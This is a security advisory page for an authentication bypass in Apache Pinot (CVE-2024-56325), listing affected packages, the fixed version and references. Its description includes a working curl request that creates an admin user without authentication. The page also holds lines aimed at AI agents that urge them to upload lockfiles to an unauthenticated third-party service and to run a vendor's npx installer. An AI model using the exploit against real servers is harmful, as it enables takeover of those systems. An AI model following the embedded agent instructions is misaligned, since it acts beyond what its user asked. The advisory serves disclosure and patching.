# CVE-2024-56325: Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

- Also known as: GHSA-6JWP-4WVJ-6597
- Severity: CVSS 9.8 (Critical), CISA-ADP
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- apache rates this critical
- CISA SSVC: exploitation=none, automatable=yes, technicalImpact=total
- Known exploited (CISA KEV): no
- Public exploit code: 1 Nuclei template
- Fixed in: 1.3, 1.3.0
- Published: 2025-04-01 · Updated: 2025-10-27

## Affected

- org.apache.pinot.controller.api: fixed in 1.3
- org.apache.pinot:pinot-broker (Maven): from 0.8.0, fixed in 1.3.0
- org.apache.pinot:pinot-common (Maven): from 0.8.0, fixed in 1.3.0
- org.apache.pinot:pinot-controller (Maven): from 0.8.0, fixed in 1.3.0

## Description

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

## What to do

- Check your stack: if you ship or depend on org.apache.pinot.controller.api, org.apache.pinot:pinot-broker, org.apache.pinot:pinot-common or the other affected packages, upgrade to a fixed version (1.3, 1.3.0) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
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## Related

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## References

- https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-56325.yaml

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